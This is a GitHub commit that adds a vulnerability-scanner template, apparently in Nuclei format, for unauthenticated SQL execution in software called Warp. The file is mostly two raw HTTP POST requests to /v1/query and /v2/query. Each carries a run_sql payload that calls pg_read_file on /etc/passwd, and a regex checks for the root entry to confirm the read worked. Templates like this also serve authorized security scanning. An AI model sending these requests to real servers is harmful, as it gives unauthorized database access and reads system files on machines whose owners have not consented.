Create raw-psql-warp.yaml

patch-1
lulz 2021-07-27 21:57:59 +07:00 committed by GitHub
parent c703d92c5b
commit 2219ab607e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 55 additions and 0 deletions

View File

@ -0,0 +1,55 @@
id: raw-psql-warp
info:
author: Udyz
name: Warp 3.X.XX - Unauthencation lead to psql query exec
severity: critical
reference:
tags: sql,unauth,rce
requests:
- raw:
- |
POST /v1/query HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"type": "bulk",
"source": "default",
"args":[
{
"type": "run_sql",
"args": {
"source":"default",
"sql":"SELECT pg_read_file('/etc/passwd',0,100000);",
"cascade": false,
"read_only": false
}
}
]
}
- |
POST /v2/query HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"type": "bulk",
"source": "default",
"args":[
{
"type": "run_sql",
"args": {
"source":"default",
"sql":"SELECT pg_read_file('/etc/passwd',0,100000);",
"cascade": false,
"read_only": false
}
}
]
}
matchers:
- type: regex
regex:
- "root:.*:0:0:"